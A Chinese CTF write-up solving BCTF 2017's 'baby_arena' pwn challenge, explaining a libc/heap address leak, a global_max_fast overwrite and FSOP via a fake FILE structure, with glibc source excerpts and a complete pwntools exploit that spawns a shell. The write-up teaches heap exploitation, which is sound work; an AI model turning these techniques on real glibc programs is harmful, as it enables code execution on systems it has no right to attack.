pwn萌新的再次体验--bctf baby_arena

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写在前面

在pwn的泥潭里越陷越深，无法自拔。本次的bctf中，遇到了一个题目，算是我这个萌新的知识盲点，于是，总结一下，纪念一下自己菜菜的小进步

题目

bctf2017的baby_arena，64位，也是比较简单的一道题吧

漏洞

这个题，有一个任意地址写，位于login功能中，但是只能写’admin’或者’clientele’,而且之后的实践中发现貌似只能写’clientele’：

看变量：

就是说接受16个字符的v3是可以到覆盖到v4的。于是就可以任意写了，但是8个字符覆盖刚好到v4，于是后面的回车符被换成\x00被送到v1里，于是只能写’clientele’了。
还有就是这个题

free以后没有清空堆的内容，然后

这里我们申请刚free的堆块，只向里面写少量数据，就能泄露fd了，于是就能得到地址了

思路

leak libc地址和heap_base地址

这个当然很简单了，就是直接申请堆，然后释放，然后再次申请到那里，就可以读到了：

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create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))

大致就是这样。

修改global_max_fast

了解过fastbin的童鞋都知道global_max_fast是规定fastbins的最大大小的，而在得到一个fastbin的时候，为了构造fastbin链，方便查找，main_arena会存放fastbin链，main_arena存放fastbin的链时按照fastbin的大小计算位置，所以，如果我们申请的fastbin足够大，就会从main_arena溢出出去，而main_arena下就有file结构体之类比较重要的结构体，我们可以改这些结构体的虚表地址，使得其在查虚表时，查到我们的堆中，而我们在堆中布好假的虚表，就可以改变程序流。
但是这里题目还有一个限制：

我们最大只能申请5999的堆，但是这样的话我们就无法溢出到stdout和stdin了，只能到stderr，但是，stderr我一直触发不了，真的是无语，（吐槽一句，想触发stderr的时候触发不了，不想的时候全是error。。。），于是我换了另一种思路，也是刚好把file结构体学一遍，下面是原理和利用思路

FSOP

基础知识知识

首先看源码：

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struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

这是FILE结构体的内容，FILE结构会通过_chain连接形成一个链表，链表头部用全局变量_IO_list_all表示。
接下来看一个函数的源码：

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int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (_IO_FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

我们看到如果运行到这里

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if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)

就会调用_IO_OVERFLOW，就会调用vtable，也就是虚表。那么只要满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base我们的虚表中的_IO_OVERFLOW就会调用，而且程序是通过_IO_list_all来查找file结构体的。
什么时候会调用_IO_flush_all_lockp呢？

1.libc执行abort流程时
2.执行exit函数时
3.执行流从main函数返回时

这个触发的条件就会简单很多了。于是，do it！！！

利用

首先，我们得改_IO_list_all，这个位置就在stderr的上面，只要知道libc的地址，我们就能得到_IO_list_all的地址，再通过main_arena的溢出，就可以试这个指针指向chunk。
然后我们只要在chunk上布好满足fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base的file结构体就好，
其实这个是比较简单的。我们只要把file结构体的内容置0，然后我们使_IO_write_ptr为1，或者更大，开心就好。
但是，我们要考虑的一点是，我们修改后的_IO_list_all中的值是指向chunk的指针，也就是说chunk的prev_size，size是在fakefile结构体里的，当然这个不会有什么大影响，但是，我当时写的时候，就忽略了这一点，使得_IO_write_ptr和vtable都比应在的位置高0x10。
于是，在有prev_size，size的条件下，chunk被我布成这个样子了：

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//prev_size，size
fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

这个0x6020b0-0x18其实就是我们构建的虚表，这个地址是在login功能中可写的，（上面有提到），当时我们v3溢出到v4赋值到任意地址，v3本身的8个bit也是我们可以写的，于是我把one_gadget写在了v3中，如果找不到地址也可以布在堆里，都是可以的。0x6020b0是v3的地址，而OVERFLOW在vtable的位置位于偏移0x18处，于是得到0x6020b0-0x18
这时如果我们exit，我们就可以getshell了

pwn！！！

exp:

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#!/usr/bin/env python
# coding=utf-8
from pwn import *

#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']

p = process('./baby_arena')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one = 0x4526a

def create(size,note):
    p.sendline('1')
    p.recvuntil('Pls Input your note size\n')
    p.sendline(str(size))
    p.recvuntil('Input your note\n')
    p.sendline(note)

def dele(num):
    p.sendline('2')
    p.recvuntil('Input id:\n')
    p.sendline(str(num))

def login(name):
    p.sendline('3')
    p.recvuntil('Please input your name\n')
    p.sendline(name)
    p.recvuntil('1.admin\n')
    #p.sendline(str(num))

#gdb.attach(p)
create(0xa8,'0'*0xa8)
create(0xa8,'1'*0xa8)
dele(0)
create(0xa8,'0')
p.recvuntil('your note is\n')
a = p.recvline()
arena = u64(a+(8-len(a))*'0')%0x1000000000000
libcc = arena - 0x3c4b30
libc.address = libcc
max_fast = arena + 7368
success("libc:"+hex(libcc))
success("global_max_fast:"+hex(max_fast))
#--------
create(0x400,'3'*0x400)
create(0x400,'4'*0x400)
create(0x400,'4'*0x400)
dele(2)
dele(3)
create(0x100,'A'*16+'\n')
p.recvuntil('your note is\n')
p.recvuntil('A'*16)
heap_base = p.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8-len(heap_base))*'\x00')-0x220
success('heap_base:'+hex(heap_base))


fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(0x6020b0-0x18)

#------
create(5120,fake_file)
payload = p64(libcc + one) +p64(max_fast-8)
login(payload)#one bit \x0a > \x00 。。。。。。
dele(3)

p.sendline('4')
print pidof(p)
p.interactive()

于是：

感谢老爷打赏
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